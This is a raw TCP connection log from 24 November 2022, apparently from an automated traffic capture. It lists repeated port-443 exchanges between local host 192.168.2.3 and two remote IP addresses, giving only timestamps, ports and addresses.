Nov 24, 2022 16:58:17.574598074 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.574805975 CET	443	49727	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.574981928 CET	49727	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.711536884 CET	49729	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.711613894 CET	443	49729	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.711749077 CET	49729	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.712136984 CET	49729	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.712167978 CET	443	49729	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.712253094 CET	443	49729	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.806510925 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.806592941 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.806698084 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.807240963 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.807280064 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.863529921 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.863800049 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.883331060 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.883390903 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.884155989 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.884253025 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.884804010 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:17.884829998 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.939197063 CET	49731	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.939234972 CET	443	49731	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.939307928 CET	49731	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.939672947 CET	49731	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:17.939692020 CET	443	49731	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.939764977 CET	443	49731	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:17.983181000 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.983336926 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:17.983640909 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.000689030 CET	49730	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.000741959 CET	443	49730	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.157054901 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.157130003 CET	443	49732	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.157216072 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.162225008 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.162273884 CET	443	49732	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.199778080 CET	49733	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:18.199837923 CET	443	49733	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:18.199922085 CET	49733	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:18.200278997 CET	49733	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:18.200306892 CET	443	49733	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:18.200433969 CET	443	49733	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:18.215794086 CET	443	49732	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.215888023 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.230195045 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.230217934 CET	443	49732	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.260241985 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.260267019 CET	443	49732	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.346028090 CET	443	49732	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.346121073 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.346147060 CET	443	49732	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.346215963 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.444850922 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:18.445056915 CET	443	49732	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:18.445153952 CET	49732	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.190253019 CET	49734	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:19.190321922 CET	443	49734	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:19.190434933 CET	49734	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:19.190737009 CET	49734	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:19.190762997 CET	443	49734	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:19.191008091 CET	443	49734	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:19.357108116 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.357158899 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.357249022 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.365875006 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.365914106 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.422697067 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.422794104 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.441665888 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.441703081 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.442526102 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.442603111 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.443239927 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.443253040 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.444433928 CET	49736	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:19.444511890 CET	443	49736	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:19.444597006 CET	49736	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:19.444993973 CET	49736	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:19.445019007 CET	443	49736	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:19.445095062 CET	443	49736	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:19.539869070 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.539961100 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.539983034 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.540039062 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.582406044 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:19.582654953 CET	443	49735	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:19.582750082 CET	49735	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.232445002 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.232513905 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.232597113 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.233561039 CET	49738	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.233561039 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.233592987 CET	443	49738	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.233630896 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.233673096 CET	49738	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.234024048 CET	49738	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.234038115 CET	443	49738	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.234282970 CET	443	49738	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.285835981 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.285927057 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.312073946 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.312107086 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.312882900 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.312946081 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.315722942 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.315736055 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.405249119 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.405349970 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.405395031 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.405455112 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.406008959 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.406124115 CET	443	49737	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.406194925 CET	49737	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.471045971 CET	49739	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.471120119 CET	443	49739	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.471205950 CET	49739	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.471599102 CET	49739	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.471628904 CET	443	49739	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.471704960 CET	443	49739	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.525896072 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.525964022 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.526051044 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.527220964 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.527254105 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.581099987 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.581202984 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.591787100 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.591823101 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.592484951 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.592606068 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.593262911 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.593280077 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.627154112 CET	49741	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.627226114 CET	443	49741	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.627310991 CET	49741	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.627717018 CET	49741	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.627747059 CET	443	49741	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.627825975 CET	443	49741	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.709122896 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.709281921 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.709307909 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.709367037 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.709469080 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.709546089 CET	443	49740	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.709615946 CET	49740	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.803474903 CET	49742	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.803561926 CET	443	49742	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.803642988 CET	49742	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.811079979 CET	49742	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.811114073 CET	443	49742	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.811225891 CET	443	49742	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.836931944 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.837017059 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.837114096 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.837816000 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.837847948 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.892057896 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.892205000 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.908924103 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.908983946 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.909899950 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.910897970 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.911564112 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:20.911580086 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:20.939974070 CET	49744	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.940056086 CET	443	49744	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.940635920 CET	49744	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.940989017 CET	49744	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:20.941030979 CET	443	49744	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:20.941114902 CET	443	49744	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:21.020502090 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.020659924 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.020737886 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.033776045 CET	49743	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.033804893 CET	443	49743	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.542130947 CET	49745	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:21.542207956 CET	443	49745	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:21.542314053 CET	49745	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:21.542673111 CET	49745	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:21.542706013 CET	443	49745	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:21.542802095 CET	443	49745	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:21.660310030 CET	49746	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.660389900 CET	443	49746	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.660485983 CET	49746	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.661029100 CET	49746	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.661066055 CET	443	49746	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.745194912 CET	443	49746	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.748761892 CET	49746	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.762068033 CET	49746	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.762095928 CET	443	49746	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.772344112 CET	49746	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.772363901 CET	443	49746	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.774004936 CET	49747	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:21.774069071 CET	443	49747	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:21.774149895 CET	49747	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:21.774466991 CET	49747	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:21.774488926 CET	443	49747	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:21.774578094 CET	443	49747	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:21.864078045 CET	443	49746	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.864237070 CET	443	49746	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:21.864401102 CET	49746	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.909358025 CET	49746	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:21.909435987 CET	443	49746	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:22.651710987 CET	49748	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:22.651777029 CET	443	49748	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:22.651866913 CET	49748	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:22.652271032 CET	49748	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:22.652293921 CET	443	49748	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:22.652363062 CET	443	49748	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:22.772552013 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:22.772630930 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:22.772764921 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:22.773201942 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:22.773248911 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:22.825906992 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:22.829253912 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:22.889748096 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:22.889791965 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:23.043886900 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:23.043937922 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:23.046077967 CET	49750	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:23.046133041 CET	443	49750	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:23.046299934 CET	49750	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:23.046669006 CET	49750	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:23.046699047 CET	443	49750	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:23.046804905 CET	443	49750	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:23.118926048 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:23.119102001 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:23.119132042 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:23.119191885 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:23.147051096 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:23.147217989 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:23.147294044 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:23.147655964 CET	443	49749	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:23.147733927 CET	49749	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.572999954 CET	49751	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.573168039 CET	443	49751	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:25.573286057 CET	49751	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.574559927 CET	49751	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.574615955 CET	443	49751	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:25.574714899 CET	443	49751	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:25.751122952 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.751198053 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.751292944 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.752661943 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.752701044 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.825915098 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.826018095 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.846297979 CET	49753	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.846374989 CET	443	49753	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:25.846455097 CET	49753	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.846836090 CET	49753	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.846860886 CET	443	49753	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:25.846971989 CET	443	49753	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:25.853704929 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.853750944 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.854578018 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.854654074 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.855359077 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.855376959 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.941735029 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.941884995 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.941930056 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.942013979 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.954454899 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.954597950 CET	443	49752	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:25.954677105 CET	49752	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:25.988816023 CET	49754	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.988890886 CET	443	49754	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:25.988971949 CET	49754	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.989321947 CET	49754	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:25.989358902 CET	443	49754	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:25.989449978 CET	443	49754	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.410120964 CET	49755	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.410203934 CET	443	49755	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.410296917 CET	49755	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.414413929 CET	49755	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.414452076 CET	443	49755	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.414546967 CET	443	49755	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.421402931 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.421468019 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.421555996 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.422354937 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.422385931 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.470827103 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.470984936 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.518230915 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.518296957 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.519165039 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.519272089 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.522146940 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.522186041 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.610546112 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.610673904 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.610702991 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.610780954 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.613609076 CET	49756	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.613641977 CET	443	49756	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.628952026 CET	49757	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.629013062 CET	443	49757	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.629101992 CET	49757	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.629491091 CET	49757	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.629527092 CET	443	49757	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.629595041 CET	443	49757	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.755853891 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.755939007 CET	443	49758	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.756038904 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.757833958 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.757879972 CET	443	49758	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.810726881 CET	443	49758	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.810841084 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.814201117 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.814223051 CET	443	49758	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.818315983 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.818336964 CET	443	49758	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.862679958 CET	49759	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.862761021 CET	443	49759	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.862852097 CET	49759	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.865245104 CET	49759	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:26.865288973 CET	443	49759	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.865473032 CET	443	49759	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:26.927159071 CET	443	49758	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.929337025 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.929384947 CET	443	49758	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.929503918 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.975980997 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:26.976155043 CET	443	49758	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:26.976593971 CET	49758	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.299793005 CET	49760	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.299863100 CET	443	49760	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.300736904 CET	49760	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.301151991 CET	49760	443	192.168.2.3	162.19.175.163
Nov 24, 2022 16:58:27.301182985 CET	443	49760	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.301259041 CET	443	49760	162.19.175.163	192.168.2.3
Nov 24, 2022 16:58:27.420067072 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.420151949 CET	443	49761	172.66.43.60	192.168.2.3
Nov 24, 2022 16:58:27.420599937 CET	49761	443	192.168.2.3	172.66.43.60
Nov 24, 2022 16:58:27.422234058 CET	49761	443	192.168.2.3	172.66.43.60
